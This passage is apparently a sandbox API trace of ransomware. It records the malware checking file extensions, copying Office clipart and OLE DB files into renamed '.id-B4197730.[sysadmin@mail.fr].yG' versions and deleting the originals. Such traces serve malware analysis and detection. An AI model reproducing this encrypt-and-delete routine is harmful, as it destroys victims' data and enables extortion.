	[0136.666] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0136.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0136.666] lstrlenW (lpString=".jpg") returned 4
	[0136.666] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0136.666] lstrcmpiW (lpString1=".inc", lpString2=".yG") returned -1
	[0136.666] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0136.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0136.668] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=9975) returned 1
	[0136.668] CloseHandle (hObject=0x3fc) returned 1
	[0136.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20
	[0136.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.668] lstrlenW (lpString=".doc") returned 4
	[0136.668] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0136.669] lstrlenW (lpString=".docx") returned 5
	[0136.669] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0136.669] lstrlenW (lpString=".pdf") returned 4
	[0136.669] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0136.669] lstrlenW (lpString=".xls") returned 4
	[0136.669] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0136.669] lstrlenW (lpString=".xlsx") returned 5
	[0136.669] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0136.669] lstrlenW (lpString=".ppt") returned 4
	[0136.669] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0136.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.669] lstrlenW (lpString=".zip") returned 4
	[0136.669] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0136.669] lstrlenW (lpString=".rar") returned 4
	[0136.669] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0136.669] lstrlenW (lpString=".bz2") returned 4
	[0136.669] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0136.669] lstrlenW (lpString=".7z") returned 3
	[0136.669] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0136.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.669] lstrlenW (lpString=".dbf") returned 4
	[0136.669] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0136.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.669] lstrlenW (lpString=".1cd") returned 4
	[0136.669] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0136.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.669] lstrlenW (lpString=".jpg") returned 4
	[0136.669] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0136.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.669] lstrlenW (lpString=".doc") returned 4
	[0136.670] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0136.670] lstrlenW (lpString=".docx") returned 5
	[0136.670] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0136.670] lstrlenW (lpString=".pdf") returned 4
	[0136.670] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0136.670] lstrlenW (lpString=".xls") returned 4
	[0136.670] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0136.670] lstrlenW (lpString=".xlsx") returned 5
	[0136.670] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0136.670] lstrlenW (lpString=".ppt") returned 4
	[0136.670] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0136.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.670] lstrlenW (lpString=".zip") returned 4
	[0136.670] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0136.670] lstrlenW (lpString=".rar") returned 4
	[0136.670] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0136.670] lstrlenW (lpString=".bz2") returned 4
	[0136.670] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0136.670] lstrlenW (lpString=".7z") returned 3
	[0136.670] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0136.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.670] lstrlenW (lpString=".dbf") returned 4
	[0136.670] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0136.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.670] lstrlenW (lpString=".1cd") returned 4
	[0136.670] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0136.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0136.670] lstrlenW (lpString=".jpg") returned 4
	[0136.670] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0136.671] Sleep (dwMilliseconds=0x64) 
	[0136.996] Sleep (dwMilliseconds=0x64) 
	[0137.280] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0137.280] lstrlenW (lpString="DD01146_.WMF") returned 12
	[0137.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0137.398] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2796) returned 1
	[0137.398] CloseHandle (hObject=0x460) returned 1
	[0137.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220
	[0137.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0x20
	[0138.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.085] lstrlenW (lpString=".doc") returned 4
	[0138.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.085] lstrlenW (lpString=".docx") returned 5
	[0138.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.085] lstrlenW (lpString=".pdf") returned 4
	[0138.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.085] lstrlenW (lpString=".xls") returned 4
	[0138.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.085] lstrlenW (lpString=".xlsx") returned 5
	[0138.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.085] lstrlenW (lpString=".ppt") returned 4
	[0138.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.085] lstrlenW (lpString=".zip") returned 4
	[0138.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.086] lstrlenW (lpString=".rar") returned 4
	[0138.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString=".bz2") returned 4
	[0138.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString=".7z") returned 3
	[0138.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.086] lstrlenW (lpString=".dbf") returned 4
	[0138.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.086] lstrlenW (lpString=".1cd") returned 4
	[0138.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.086] lstrlenW (lpString=".jpg") returned 4
	[0138.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.086] lstrlenW (lpString=".doc") returned 4
	[0138.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString=".docx") returned 5
	[0138.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.086] lstrlenW (lpString=".pdf") returned 4
	[0138.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.086] lstrlenW (lpString=".xls") returned 4
	[0138.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.087] lstrlenW (lpString=".xlsx") returned 5
	[0138.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.087] lstrlenW (lpString=".ppt") returned 4
	[0138.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.087] lstrlenW (lpString=".zip") returned 4
	[0138.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.087] lstrlenW (lpString=".rar") returned 4
	[0138.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.087] lstrlenW (lpString=".bz2") returned 4
	[0138.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.087] lstrlenW (lpString=".7z") returned 3
	[0138.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.087] lstrlenW (lpString=".dbf") returned 4
	[0138.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.087] lstrlenW (lpString=".1cd") returned 4
	[0138.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68
	[0138.087] lstrlenW (lpString=".jpg") returned 4
	[0138.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.088] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.088] lstrlenW (lpString="DD01163_.WMF") returned 12
	[0138.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0138.167] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2300) returned 1
	[0138.167] CloseHandle (hObject=0x424) returned 1
	[0138.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220
	[0138.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0138.615] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.615] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0138.834] GetLastError () returned 0x0
	[0138.834] ReadFile (in: hFile=0x494, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0139.450] WriteFile (in: hFile=0x4a8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x900, lpOverlapped=0x0) returned 1
	[0139.451] ReadFile (in: hFile=0x494, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.451] WriteFile (in: hFile=0x4a8, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.452] SetEndOfFile (hFile=0x4a8) returned 1
	[0139.457] CloseHandle (hObject=0x4a8) returned 1
	[0139.459] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.459] SetEndOfFile (hFile=0x494) returned 1
	[0139.465] CloseHandle (hObject=0x494) returned 1
	[0139.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1
	[0139.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.475] lstrlenW (lpString=".doc") returned 4
	[0139.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.475] lstrlenW (lpString=".docx") returned 5
	[0139.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.475] lstrlenW (lpString=".pdf") returned 4
	[0139.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.475] lstrlenW (lpString=".xls") returned 4
	[0139.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.475] lstrlenW (lpString=".xlsx") returned 5
	[0139.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.475] lstrlenW (lpString=".ppt") returned 4
	[0139.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.475] lstrlenW (lpString=".zip") returned 4
	[0139.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.475] lstrlenW (lpString=".rar") returned 4
	[0139.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.475] lstrlenW (lpString=".bz2") returned 4
	[0139.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.475] lstrlenW (lpString=".7z") returned 3
	[0139.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.476] lstrlenW (lpString=".dbf") returned 4
	[0139.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.476] lstrlenW (lpString=".1cd") returned 4
	[0139.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.476] lstrlenW (lpString=".jpg") returned 4
	[0139.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.476] lstrlenW (lpString=".doc") returned 4
	[0139.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.476] lstrlenW (lpString=".docx") returned 5
	[0139.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.476] lstrlenW (lpString=".pdf") returned 4
	[0139.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.476] lstrlenW (lpString=".xls") returned 4
	[0139.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.476] lstrlenW (lpString=".xlsx") returned 5
	[0139.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.476] lstrlenW (lpString=".ppt") returned 4
	[0139.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.476] lstrlenW (lpString=".zip") returned 4
	[0139.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.477] lstrlenW (lpString=".rar") returned 4
	[0139.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.477] lstrlenW (lpString=".bz2") returned 4
	[0139.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.477] lstrlenW (lpString=".7z") returned 3
	[0139.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.477] lstrlenW (lpString=".dbf") returned 4
	[0139.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.477] lstrlenW (lpString=".1cd") returned 4
	[0139.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0139.477] lstrlenW (lpString=".jpg") returned 4
	[0139.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.477] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.477] lstrlenW (lpString="DD01179_.WMF") returned 12
	[0139.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0139.478] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2024) returned 1
	[0139.483] CloseHandle (hObject=0x428) returned 1
	[0139.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220
	[0139.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0139.484] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.484] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0139.485] GetLastError () returned 0x0
	[0139.485] ReadFile (in: hFile=0x428, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x7e8, lpOverlapped=0x0) returned 1
	[0139.508] WriteFile (in: hFile=0x4b0, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0139.509] ReadFile (in: hFile=0x428, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.509] WriteFile (in: hFile=0x4b0, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.509] SetEndOfFile (hFile=0x4b0) returned 1
	[0139.509] CloseHandle (hObject=0x4b0) returned 1
	[0139.510] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.510] SetEndOfFile (hFile=0x428) returned 1
	[0139.513] CloseHandle (hObject=0x428) returned 1
	[0139.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1
	[0139.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.514] lstrlenW (lpString=".doc") returned 4
	[0139.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.514] lstrlenW (lpString=".docx") returned 5
	[0139.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.514] lstrlenW (lpString=".pdf") returned 4
	[0139.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.514] lstrlenW (lpString=".xls") returned 4
	[0139.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.514] lstrlenW (lpString=".xlsx") returned 5
	[0139.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.514] lstrlenW (lpString=".ppt") returned 4
	[0139.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0139.514] lstrlenW (lpString=".zip") returned 4
	[0139.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.515] lstrlenW (lpString=".rar") returned 4
	[0139.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.515] lstrlenW (lpString=".bz2") returned 4
	[0139.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.515] lstrlenW (lpString=".7z") returned 3
